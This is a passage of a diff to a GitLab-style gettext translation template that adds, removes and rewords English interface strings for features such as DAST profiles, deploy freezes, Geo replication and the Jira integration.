msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -10887,6 +11195,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11265,6 +11588,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12234,6 +12557,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13642,6 +14028,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14014,9 +14433,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14224,6 +14640,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18195,6 +18662,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr ""
msgid "More Information"
